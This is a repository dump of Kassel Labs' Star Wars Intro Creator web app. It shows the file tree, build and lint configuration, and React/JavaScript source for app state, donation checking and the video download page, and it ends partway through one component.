├── .env.dist
├── .eslintignore
├── .eslintrc.json
├── .gitignore
├── .nojekyll
├── .stylintrc
├── .travis.yml
├── CNAME
├── README.md
├── babel.config.json
├── intro.gif
├── linode-storage
├── bg-stars.png
├── deathstar.png
├── tfa.mp3
└── tfa.ogg
├── package-lock.json
├── package.json
├── src
├── assets
│ ├── KasselLabsLogo.png
│ ├── bb8_thumbs_up.webp
│ ├── bbic.jpg
│ ├── favicon.png
│ ├── gotic.jpg
│ ├── intro.mp3
│ ├── intro.ogg
│ ├── logo.svg
│ ├── porg.gif
│ ├── preview.png
│ ├── stic.jpg
│ ├── tlouic.jpg
│ └── wic.jpg
├── donation_cancelled
│ └── index.html
├── donation_success
│ └── index.html
├── index.html
├── js
│ ├── App.js
│ ├── ApplicationState.js
│ ├── AudioController.js
│ ├── DownloadPage
│ │ ├── AddEmailForm.js
│ │ ├── Atat.js
│ │ ├── CheckForDonation.js
│ │ ├── ContactButton.js
│ │ ├── DownloadPage.js
│ │ ├── DownloadVideoButton.js
│ │ ├── EmailRequestField.js
│ │ ├── ImageUploadButton.js
│ │ ├── Loader.js
│ │ ├── PaymentModule.js
│ │ ├── RenderedPage.js
│ │ ├── RenderingPage.js
│ │ ├── SocialButtons.js
│ │ ├── TermsOfServiceAcceptance.js
│ │ ├── constants.js
│ │ ├── newFlow
│ │ │ ├── DonateOrNotDonateNew.js
│ │ │ ├── HelpButton.js
│ │ │ ├── NotQueuedPageNew.js
│ │ │ ├── RequestDownloadPageNew.js
│ │ │ ├── VideoOptions.js
│ │ │ ├── VideoQueuedPageNew.js
│ │ │ └── VideoRequestSentNew.js
│ │ └── paymentEventsHandler.js
│ ├── ImageAdjustmentModal
│ │ ├── Dialog.js
│ │ └── ImageAdjustmentModal.js
│ ├── StarWarsAnimation.js
│ ├── ViewController.js
│ ├── __mocks__
│ │ ├── ApplicationState.js
│ │ ├── config.js
│ │ └── sweetalert2.js
│ ├── api
│ │ ├── Counter.js
│ │ ├── Http.js
│ │ ├── actions.js
│ │ ├── firebaseApi.js
│ │ ├── firebaseApi.test.js
│ │ ├── serverApi.js
│ │ └── tracking.js
│ ├── config.js
│ ├── extras
│ │ ├── UrlHandler.js
│ │ ├── UserIdentifier.js
│ │ ├── auxiliar.js
│ │ ├── auxiliar.test.js
│ │ ├── detectIE.js
│ │ ├── escapeHtml.js
│ │ ├── escapeHtml.test.js
│ │ ├── facebookpixel.js
│ │ ├── googleanalytics.js
│ │ ├── isFirefoxDesktop.js
│ │ ├── pageAfterDonation.js
│ │ ├── tawkToChat.js
│ │ └── utils.js
│ ├── hooks
│ │ └── useWindowSize.js
│ ├── index.js
│ ├── mountDownloadPage.js
│ ├── old
│ │ └── createdIntros.js
│ └── util
│ │ ├── getCORSImage.js
│ │ ├── getCORSURL.js
│ │ ├── getCroppedImages.js
│ │ ├── getResizedImages.js
│ │ └── getURLFromFile.js
├── renderer
│ ├── index.html
│ └── rendererPage.js
└── styles
│ ├── Loader.styl
│ ├── animation.styl
│ ├── atat.css
│ ├── bb8.css
│ ├── bodyStates.styl
│ ├── checkForDonation.styl
│ ├── configForm.styl
│ ├── donation_after.styl
│ ├── downloadPage.styl
│ ├── fonts
│ ├── NewsCycleFont.css
│ ├── SWCrawlTitle.sfd
│ ├── SWCrawlTitle3.sfd
│ ├── SWCrawlTitle3.ttf
│ ├── SWCrawlTitle_original.ttf
│ └── Starjedi.ttf
│ ├── footer.styl
│ ├── imageAdjustmentDialog.styl
│ ├── main.styl
│ ├── normalize.css
│ ├── punchItBB8.styl
│ ├── scrollbar.styl
│ ├── socialButtons.styl
│ ├── sweetalert.styl
│ └── videoOptions.styl
├── ss1.png
├── ss2.png
├── static
└── script.js
├── webpack.config.js
└── webpack.config.render.js
/.env.dist:
--------------------------------------------------------------------------------
1 | FIREBASE_INITIAL=
2 | FIREBASE_A=
3 | FIREBASE_B=
4 | FIREBASE_C=
5 | FIREBASE_D=
6 | FIREBASE_E=
7 | FIREBASE_F=
8 | SERVER_API=https://5mitidksxm7xfn4g4-mock.stoplight-proxy.io/
9 | PAYMENT_PAGE_URL=https://payment.kassellabs.io/
10 | FACEBOOK_PIXEL=
11 | FIREBASE_S=
12 | NEWSLETTER_API_URL=
13 |
--------------------------------------------------------------------------------
/.eslintignore:
--------------------------------------------------------------------------------
1 | dist
2 | src/js/extras/facebookpixel.js
3 |
--------------------------------------------------------------------------------
/.eslintrc.json:
--------------------------------------------------------------------------------
1 | {
2 | "parser": "@babel/eslint-parser",
3 | "env": {
4 | "browser": true,
5 | "es2021": true
6 | },
7 | "extends": [
8 | "plugin:react/recommended",
9 | "airbnb"
10 | ],
11 | "parserOptions": {
12 | "ecmaFeatures": {
13 | "jsx": true
14 | },
15 | "ecmaVersion": 12,
16 | "sourceType": "module"
17 | },
18 | "plugins": [
19 | "react"
20 | ],
21 | "rules": {
22 | "no-underscore-dangle": 0,
23 | "react/jsx-props-no-spreading": 0,
24 | "react/jsx-filename-extension": 0,
25 | "react/require-default-props": 0,
26 | "react/forbid-prop-types": 0
27 | },
28 | "globals": {
29 | "jest": false,
30 | "it": false,
31 | "describe": false,
32 | "expect": false
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules/
2 | dist/*
3 | *.log
4 | .cache/
5 | coverage/
6 | .env
7 | public/
--------------------------------------------------------------------------------
/.nojekyll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/.nojekyll
--------------------------------------------------------------------------------
/.stylintrc:
--------------------------------------------------------------------------------
1 | {
2 | "blocks": false,
3 | "brackets": "always",
4 | "colons": "always",
5 | "colors": "always",
6 | "commaSpace": "always",
7 | "commentSpace": "always",
8 | "cssLiteral": "never",
9 | "customProperties": [],
10 | "depthLimit": 4,
11 | "duplicates": true,
12 | "efficient": "always",
13 | "exclude": [],
14 | "extendPref": false,
15 | "globalDupe": true,
16 | "groupOutputByFile": true,
17 | "indentPref": 2,
18 | "leadingZero": "never",
19 | "maxErrors": false,
20 | "maxWarnings": false,
21 | "mixed": false,
22 | "mixins": [],
23 | "namingConvention": false,
24 | "namingConventionStrict": false,
25 | "none": "never",
26 | "noImportant": true,
27 | "parenSpace": false,
28 | "placeholders": "always",
29 | "prefixVarsWithDollar": "always",
30 | "quotePref": "single",
31 | "reporterOptions": {
32 | "columns": ["lineData", "severity", "description", "rule"],
33 | "columnSplitter": " ",
34 | "showHeaders": false,
35 | "truncate": true
36 | },
37 | "semicolons": "aways",
38 | "sortOrder": "grouped",
39 | "stackedProperties": "never",
40 | "trailingWhitespace": "never",
41 | "universal": false,
42 | "valid": true,
43 | "zeroUnits": "never",
44 | "zIndexNormalize": false
45 | }
--------------------------------------------------------------------------------
/.travis.yml:
--------------------------------------------------------------------------------
1 | language: node_js
2 | node_js:
3 | - "14"
4 | cache:
5 | directories:
6 | - node_modules
7 | script:
8 | - npm run test:coverage
9 | - npm run build
10 |
11 | notifications:
12 | webhooks: https://fathomless-fjord-24024.herokuapp.com/notify
--------------------------------------------------------------------------------
/CNAME:
--------------------------------------------------------------------------------
1 | starwarsintrocreator.kassellabs.io
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | # Star Wars Intro Creator
8 |
9 | Create your own Star Wars movie opening.
10 | Fill the inputs with any text and hit Play.
11 | You can share the URL generated and anyone can see your intro.
12 | Access: [https://StarWarsIntroCreator.KasselLabs.io](https://StarWarsIntroCreator.KasselLabs.io)
13 |
14 | ## Credits
15 | Build on top of the [work by Tim Pietrusky](http://timpietrusky.com/star-wars-opening-crawl-from-1977)
16 | By [Bruno Orlandi](https://github.com/BrOrlandi) and [Nihey Takizawa](https://github.com/nihey)
17 |
18 | ## Supported by
19 |
20 |
21 |
22 |
23 |
24 | ## Screenshots
25 | 
26 |
27 | 
28 |
--------------------------------------------------------------------------------
/babel.config.json:
--------------------------------------------------------------------------------
1 | {
2 | "presets": [
3 | "@babel/preset-env",
4 | "@babel/preset-react"
5 | ],
6 | "plugins": [
7 | "@babel/plugin-proposal-class-properties"
8 | ]
9 | }
10 |
--------------------------------------------------------------------------------
/intro.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/intro.gif
--------------------------------------------------------------------------------
/linode-storage/bg-stars.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/linode-storage/bg-stars.png
--------------------------------------------------------------------------------
/linode-storage/deathstar.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/linode-storage/deathstar.png
--------------------------------------------------------------------------------
/linode-storage/tfa.mp3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/linode-storage/tfa.mp3
--------------------------------------------------------------------------------
/linode-storage/tfa.ogg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/linode-storage/tfa.ogg
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "star-wars-intro-creator",
3 | "version": "2.0.0",
4 | "description": "Star Wars Intro Creator by Kassel Labs",
5 | "author": "Kassel Labs ",
6 | "license": "MIT",
7 | "engines": {
8 | "node": "20"
9 | },
10 | "scripts": {
11 | "clear": "rm -rf dist .cache public",
12 | "build": "npm run clear && NODE_OPTIONS=--openssl-legacy-provider webpack --mode production && NODE_OPTIONS=--openssl-legacy-provider webpack --mode production -c webpack.config.render.js --output-path dist-rendering && cp .nojekyll dist && cp dist-rendering/* dist/",
13 | "start": "NODE_OPTIONS=--openssl-legacy-provider webpack serve --mode development",
14 | "start-render": "NODE_OPTIONS=--openssl-legacy-provider webpack serve --mode development -c webpack.config.render.js",
15 | "test": "jest",
16 | "test:watch": "npm run test -- --watchAll",
17 | "test:coverage": "npm run test -- --coverage",
18 | "test:coverage:results": "google-chrome coverage/lcov-report/index.html",
19 | "lint": "eslint src/"
20 | },
21 | "jest": {
22 | "testURL": "http://localhost/",
23 | "moduleDirectories": [
24 | "node_modules",
25 | "src"
26 | ]
27 | },
28 | "devDependencies": {
29 | "@babel/core": "^7.13.15",
30 | "@babel/eslint-parser": "^7.13.14",
31 | "@babel/plugin-proposal-class-properties": "^7.13.0",
32 | "@babel/preset-env": "^7.13.15",
33 | "@babel/preset-react": "^7.13.13",
34 | "babel-jest": "^26.6.3",
35 | "babel-loader": "^8.2.2",
36 | "babel-polyfill": "^6.26.0",
37 | "copy-webpack-plugin": "^8.1.1",
38 | "css-loader": "^5.2.1",
39 | "dotenv-webpack": "^7.0.2",
40 | "eslint": "^7.24.0",
41 | "eslint-config-airbnb": "^18.2.1",
42 | "eslint-plugin-import": "^2.22.1",
43 | "eslint-plugin-jsx-a11y": "^6.4.1",
44 | "eslint-plugin-react": "^7.23.2",
45 | "eslint-plugin-react-hooks": "^4.2.0",
46 | "file-loader": "^6.2.0",
47 | "html-loader": "^2.1.2",
48 | "html-webpack-plugin": "^5.3.1",
49 | "jest": "^26.6.3",
50 | "raw-loader": "^4.0.2",
51 | "style-loader": "^2.0.0",
52 | "stylint": "^1.5.9",
53 | "stylus": "^0.54.5",
54 | "stylus-loader": "^5.0.0",
55 | "webpack": "^5.33.2",
56 | "webpack-cli": "^4.6.0",
57 | "webpack-dev-server": "^3.11.2"
58 | },
59 | "dependencies": {
60 | "@distributed/utm": "^0.1.3",
61 | "@material-ui/core": "^4.12.4",
62 | "@material-ui/icons": "^4.11.3",
63 | "@sentry/browser": "^6.4.1",
64 | "axios": "^0.18.0",
65 | "bowser": "^1.9.4",
66 | "classnames": "^2.3.1",
67 | "devtools-detect": "^4.0.0",
68 | "exponential-backoff": "^3.1.0",
69 | "gif-frames": "^1.0.1",
70 | "lodash": "^4.17.21",
71 | "lodash.isequal": "^4.5.0",
72 | "lodash.uniq": "^4.5.0",
73 | "prop-types": "^15.7.2",
74 | "react": "^16.8.6",
75 | "react-dom": "^16.8.6",
76 | "react-easy-crop": "^3.5.3",
77 | "sweetalert2": "^7.15.1",
78 | "usehooks-ts": "^2.10.0"
79 | },
80 | "staticFiles": {
81 | "staticPath": "static",
82 | "watcherGlob": "**/*"
83 | }
84 | }
85 |
--------------------------------------------------------------------------------
/src/assets/KasselLabsLogo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/assets/KasselLabsLogo.png
--------------------------------------------------------------------------------
/src/assets/bb8_thumbs_up.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/assets/bb8_thumbs_up.webp
--------------------------------------------------------------------------------
/src/assets/bbic.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/assets/bbic.jpg
--------------------------------------------------------------------------------
/src/assets/favicon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/assets/favicon.png
--------------------------------------------------------------------------------
/src/assets/gotic.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/assets/gotic.jpg
--------------------------------------------------------------------------------
/src/assets/intro.mp3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/assets/intro.mp3
--------------------------------------------------------------------------------
/src/assets/intro.ogg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/assets/intro.ogg
--------------------------------------------------------------------------------
/src/assets/logo.svg:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 |
14 |
15 |
16 |
40 |
41 |
42 |
52 |
53 |
54 |
64 |
65 |
66 |
72 |
73 |
74 |
86 |
87 |
88 |
89 |
--------------------------------------------------------------------------------
/src/assets/porg.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/assets/porg.gif
--------------------------------------------------------------------------------
/src/assets/preview.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/assets/preview.png
--------------------------------------------------------------------------------
/src/assets/stic.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/assets/stic.jpg
--------------------------------------------------------------------------------
/src/assets/tlouic.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/assets/tlouic.jpg
--------------------------------------------------------------------------------
/src/assets/wic.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KasselLabs/StarWarsIntroCreator/b2561cbcad5520254bded42f1098d8a337977571/src/assets/wic.jpg
--------------------------------------------------------------------------------
/src/donation_cancelled/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | Donation cancelled - Star Wars Intro Creator
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
Star waRS intro CreatoR
21 |
48 |
49 |
50 |
57 |
58 |
59 |
60 |
61 |
--------------------------------------------------------------------------------
/src/donation_success/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | Payment made successfully - Star Wars Intro Creator
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
Star waRS intro CreatoR
21 |
22 |
payment made successfully!
23 |
24 |
25 |
26 |
27 | Thanks for your support!
28 | If you paid enough for the video you should receive a confirmation email from us in a few minutes!
29 | If you don't receive it, please check your spam box or contact us:
30 |
31 |
32 | FAQ and Contact
33 |
34 |
35 |
36 | By using this website you are agreeing to our
37 |
41 | Terms of Service
42 |
43 |
44 |
45 |
46 | BACK TO MAIN PAGE
47 |
48 |
49 |
50 |
51 |
58 |
59 |
60 |
61 |
62 |
--------------------------------------------------------------------------------
/src/js/App.js:
--------------------------------------------------------------------------------
1 | import swal from 'sweetalert2';
2 | import bowser from 'bowser';
3 |
4 | import { sendGAPageView } from './extras/googleanalytics';
5 | import ApplicationState, { PLAYING, EDITING } from './ApplicationState';
6 | import UrlHandler from './extras/UrlHandler';
7 | import UserIdentifier from './extras/UserIdentifier';
8 | import AudioController from './AudioController';
9 | import { documentReady, urlHashChange } from './extras/utils';
10 | import {
11 | loadAndPlay,
12 | loadDownloadPage,
13 | setCreateMode,
14 | loadAndEdit,
15 | } from './api/actions';
16 | import { defaultOpening, defaultKey } from './config';
17 |
18 | let lastPage = '';
19 |
20 | const startApplication = () => {
21 | UserIdentifier.setUser('SWIC');
22 | urlHashChange(() => {
23 | sendGAPageView();
24 | swal.close();
25 |
26 | const { key, page, subpage } = UrlHandler.getParams();
27 | if (key) {
28 | if (!page) {
29 | lastPage = '';
30 | loadAndPlay(key);
31 | return;
32 | }
33 |
34 | if ('edit' === page) {
35 | lastPage = page;
36 | if (ApplicationState.state.key === key) {
37 | // interrupt animation if it's playing
38 | const interruptAnimation = !AudioController.audio.paused;
39 | ApplicationState.setState(EDITING, { interruptAnimation });
40 | return;
41 | }
42 |
43 | loadAndEdit(key);
44 | return;
45 | }
46 |
47 | if ('download' === page) {
48 | const samePage = lastPage === page;
49 |
50 | if (samePage) {
51 | return;
52 | }
53 |
54 | lastPage = page;
55 | loadDownloadPage(key, subpage, samePage);
56 | return;
57 | }
58 | }
59 |
60 | if (ApplicationState.state.page === PLAYING) {
61 | setCreateMode({ interruptAnimation: true });
62 | return;
63 | }
64 |
65 | setCreateMode({
66 | opening: defaultOpening,
67 | key: defaultKey,
68 | });
69 | });
70 |
71 | documentReady(() => {
72 | if (!window.isIE) {
73 | window.dispatchEvent(new Event('hashchange'));
74 | }
75 |
76 | if (bowser.msedge) {
77 | swal(
78 | 'microsoft edge',
79 | 'This website is not optimized to work with Microsoft Edge, we recommend to use Firefox or Chrome for the best experience. Sorry for the inconvenience.',
80 | 'warning',
81 | );
82 | }
83 | });
84 | };
85 |
86 | export default startApplication;
87 |
--------------------------------------------------------------------------------
/src/js/ApplicationState.js:
--------------------------------------------------------------------------------
1 | import ViewController from './ViewController';
2 | import AudioController from './AudioController';
3 | import UrlHandler from './extras/UrlHandler';
4 |
5 | export const CREATING = 'CREATING';
6 | export const LOADING = 'LOADING';
7 | export const PLAYING = 'PLAYING';
8 | export const EDITING = 'EDITING';
9 | export const DOWNLOAD = 'DOWNLOAD';
10 |
11 | class ApplicationState {
12 | constructor() {
13 | this.state = {
14 | page: LOADING,
15 | };
16 |
17 | AudioController.loadAudio();
18 | this.renderState();
19 | }
20 |
21 | setState(page, props = {}) {
22 | // previous state undo changes
23 | if (this.state.page !== page) {
24 | switch (this.state.page) {
25 | case LOADING:
26 | ViewController.unsetLoading();
27 | break;
28 |
29 | case PLAYING:
30 | ViewController.stopPlaying(props.interruptAnimation);
31 | break;
32 |
33 | case EDITING:
34 | ViewController.unsetRunningVideo();
35 | ViewController.hideDownloadButton();
36 | ViewController.killTimer();
37 | break;
38 |
39 | case DOWNLOAD:
40 | ViewController.unsetDownloadPage();
41 | break;
42 |
43 | default:
44 | ViewController.unsetLoading();
45 | }
46 | }
47 |
48 | this.state = {
49 | ...this.state,
50 | page,
51 | ...props,
52 | };
53 | // console.log(this.state);
54 | this.renderState();
55 | }
56 |
57 | renderState = async () => {
58 | const { opening, key } = this.state;
59 |
60 | // next state changes
61 | switch (this.state.page) {
62 | case LOADING:
63 | if (window.renderer) {
64 | return;
65 | }
66 | ViewController.setLoading();
67 | break;
68 |
69 | case PLAYING:
70 | try {
71 | await ViewController.playOpening(opening);
72 | } catch (error) {
73 | const isAudioPlayError = error.message === 'AutoPlayError';
74 | if (!isAudioPlayError) {
75 | throw error;
76 | }
77 | await ViewController.requestWindowInteraction();
78 | await ViewController.playOpening(opening);
79 | }
80 |
81 | UrlHandler.goToEditPage(key);
82 | break;
83 |
84 | case EDITING:
85 | ViewController.setFormValues(opening);
86 | ViewController.showDownloadButton();
87 | break;
88 |
89 | case DOWNLOAD:
90 | ViewController.setDownloadPage();
91 | break;
92 |
93 | default:
94 | ViewController.unsetLoading();
95 | }
96 | }
97 | }
98 |
99 | export default new ApplicationState();
100 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/AddEmailForm.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import EmailRequestField from './EmailRequestField';
3 | import Atat from './Atat';
4 |
5 |
6 | const AddEmailForm = ({ openingKey, finishRequestHandle }) => (
7 |
8 |
9 |
10 | You can add more emails to receive the video in the form below.
11 |
12 |
17 |
18 | );
19 |
20 | export default AddEmailForm;
21 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/Atat.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import '../../styles/atat.css';
3 |
4 | const Atat = () => (
5 |
6 |
7 |
8 |
9 |
10 |
19 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
57 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 | );
176 |
177 | export default Atat;
178 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/CheckForDonation.js:
--------------------------------------------------------------------------------
1 | import React, { Component } from 'react';
2 |
3 | import { loadDownloadStatus } from '../api/actions';
4 | import { BUMPED, RENDERING } from './constants';
5 |
6 | const PENDING = 0;
7 | const CONFIRMED = 1;
8 | const NOT_FOUND = 2;
9 |
10 | class CheckForDonation extends Component {
11 | constructor() {
12 | super();
13 |
14 | this.state = {
15 | status: PENDING,
16 | startTime: Date.now(),
17 | };
18 | }
19 |
20 | componentDidMount() {
21 | this._fetchDownloadStatus();
22 | }
23 |
24 | _fetchDownloadStatus = async () => {
25 | const { openingKey } = this.props;
26 | const response = await loadDownloadStatus(openingKey);
27 |
28 | const isBumped = BUMPED === response.status;
29 | const isRenderingViaBump = RENDERING === response.status && response.bumped_on;
30 |
31 | if (isBumped || isRenderingViaBump) {
32 | this.setState({
33 | status: CONFIRMED,
34 | });
35 | return;
36 | }
37 |
38 | const now = Date.now();
39 | const elapsed = now - this.state.startTime;
40 | const oneMinute = 60000;
41 |
42 | if (elapsed > oneMinute) {
43 | this.setState({
44 | status: NOT_FOUND,
45 | });
46 | return;
47 | }
48 |
49 | setTimeout(this._fetchDownloadStatus, 3000);
50 | }
51 |
52 | render() {
53 | const { status } = this.state;
54 | const donationPending = (
55 |
56 |
57 |
Checking for donation...
58 |
59 | );
60 |
61 | const donationConfirmed = (
62 |
63 |
✓
64 |
Payment confimed!
65 |
66 | );
67 |
68 | const donationNotFound = (
69 |
70 |
X
71 |
72 | Payment not found!
73 |
74 | Please, check if your payment was made successfully or try to pay again.
75 |
76 |
77 | );
78 |
79 | return (
80 |
81 | {status === PENDING && donationPending}
82 | {status === CONFIRMED && donationConfirmed}
83 | {status === NOT_FOUND && donationNotFound}
84 |
85 | );
86 | }
87 | }
88 |
89 | export default CheckForDonation;
90 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/ContactButton.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 |
3 | const ContactButton = ({
4 | customText = 'If you have any questions, please check our FAQ or contact us through the link:',
5 | endText = null,
6 | }) => {
7 | const link = (
8 |
14 | FAQ and Contact
15 |
16 | );
17 |
18 | if (customText) {
19 | return (
20 |
21 | {customText}
22 | {link}
23 | {endText && ` ${endText}`}
24 |
25 | );
26 | }
27 |
28 | return link;
29 | };
30 |
31 | export default ContactButton;
32 |
--------------------------------------------------------------------------------
/src/js/DownloadPage/DownloadPage.js:
--------------------------------------------------------------------------------
1 | import React, { Component } from 'react';
2 | import swal from 'sweetalert2';
3 |
4 | import {
5 | NOT_QUEUED,
6 | QUEUED,
7 | BUMPED,
8 | RENDERING,
9 | RENDERED,
10 | } from './constants';
11 |
12 | import NotQueuedPageNew from './newFlow/NotQueuedPageNew';
13 | import VideoRequestSentNew from './newFlow/VideoRequestSentNew';
14 | import RequestDownloadPageNew from './newFlow/RequestDownloadPageNew';
15 | import VideoQueuedPageNew from './newFlow/VideoQueuedPageNew';
16 | import RenderingPage from './RenderingPage';
17 | import RenderedPage from './RenderedPage';
18 | import AddEmailForm from './AddEmailForm';
19 | import { requestIntroDownload } from '../api/actions';
20 | import { trackOpenedDownloadModal } from '../api/tracking';
21 |
22 | import { registerPaymentEventsHandler, unregisterPaymentEventsHandler } from './paymentEventsHandler';
23 | import UrlHandler from '../extras/UrlHandler';
24 |
25 | const INITIAL_PAGE = 0;
26 | const REQUEST_PAGE = 1;
27 | const FINAL_PAGE = 2;
28 | const ADD_EMAIL_PAGE = 3;
29 |
30 | class DownloadPage extends Component {
31 | constructor(props) {
32 | super(props);
33 | const { status, openingKey, subpage } = props;
34 |
35 | const isRendered = status.status === RENDERED;
36 |
37 | const subpageState = isRendered ? {} : this.parseSubpage(subpage);
38 |
39 | this.state = {
40 | status,
41 | openingKey,
42 | ...subpageState,
43 | };
44 | }
45 |
46 | componentDidMount() {
47 | window.addEventListener('hashchange', this.urlChangeHandler);
48 | registerPaymentEventsHandler(this.paymentSuccessCallback);
49 | trackOpenedDownloadModal();
50 | }
51 |
52 | componentWillUnmount() {
53 | window.removeEventListener('hashchange', this.urlChangeHandler);
54 | unregisterPaymentEventsHandler();
55 | }
56 |
57 | parseSubpage = (subpage) => {
58 | let page = INITIAL_PAGE;
59 | let donate = false;
60 |
61 | if (subpage === 'pay') {
62 | donate = true;
63 | page = REQUEST_PAGE;
64 | }
65 |
66 | if (subpage === 'request') {
67 | donate = false;
68 | page = REQUEST_PAGE;
69 | }
70 |
71 | if (subpage === 'add_email') {
72 | page = ADD_EMAIL_PAGE;
73 | }
74 |
75 | if (subpage === 'paid') {
76 | donate = true;
77 | page = FINAL_PAGE;
78 | }
79 |
80 | return {
81 | page,
82 | donate,
83 | };
84 | }
85 |
86 | paymentSuccessCallback = async (payment) => {
87 | const { email } = payment;
88 |
89 | const requestStatus = await requestIntroDownload(this.state.openingKey, email);
90 | this.setState({
91 | page: FINAL_PAGE,
92 | donate: true,
93 | requestStatus,
94 | requestEmail: email,
95 | paymentData: payment,
96 | });
97 |
98 | UrlHandler.goToDownloadPage(this.state.openingKey, 'paid');
99 | }
100 |
101 | urlChangeHandler = () => {
102 | const { key, subpage } = UrlHandler.getParams();
103 |
104 | if (key !== this.state.openingKey) {
105 | window.location.reload();
106 | return;
107 | }
108 |
109 | if (!subpage) {
110 | return;
111 | }
112 |
113 | const subpageState = this.parseSubpage(subpage);
114 | this.setState(subpageState);
115 | }
116 |
117 | yesDonateHandle = () => {
118 | const { page, openingKey } = this.state;
119 |
120 | if (page === INITIAL_PAGE) {
121 | swal({
122 | title: 'pay',
123 | html: 'Fill the payment form above to make your payment first.
',
124 | });
125 | return;
126 | }
127 |
128 | this.setState({ page: INITIAL_PAGE });
129 | UrlHandler.goToDownloadPage(openingKey);
130 | };
131 |
132 | noDonateHandle = () => {
133 | const { openingKey } = this.state;
134 | UrlHandler.goToDownloadPage(openingKey, 'request');
135 | };
136 |
137 | finishRequestHandle = (requestStatus, requestEmail) => {
138 | const { donate, openingKey } = this.state;
139 | UrlHandler.goToDownloadPage(openingKey, donate ? 'paid' : '');
140 | this.setState({
141 | page: FINAL_PAGE,
142 | requestStatus,
143 | requestEmail,
144 | });
145 | }
146 |
147 | addEmailNextPage = (requestStatus, requestEmail) => {
148 | this.setState({
149 | status: requestStatus,
150 | requestStatus,
151 | requestEmail,
152 | });
153 | }
154 |
155 | renderInitialPage() {
156 | const { status, openingKey, requestEmail } = this.state;
157 | const statusType = status.status;
158 |
159 | switch (statusType) {
160 | default:
161 | case NOT_QUEUED:
162 | return (
163 |
167 | );
168 |
169 | case QUEUED:
170 | return (
171 |
178 | );
179 |
180 | case RENDERING:
181 | case BUMPED:
182 | return (
183 |
188 | );
189 |
190 | case RENDERED:
191 | return (
192 |
195 | );
196 | }
197 | }
198 |
199 | renderPageContent = () => {
200 | const {
201 | page,
202 | openingKey,
203 | donate,
204 | status,
205 | requestStatus,
206 | requestEmail,
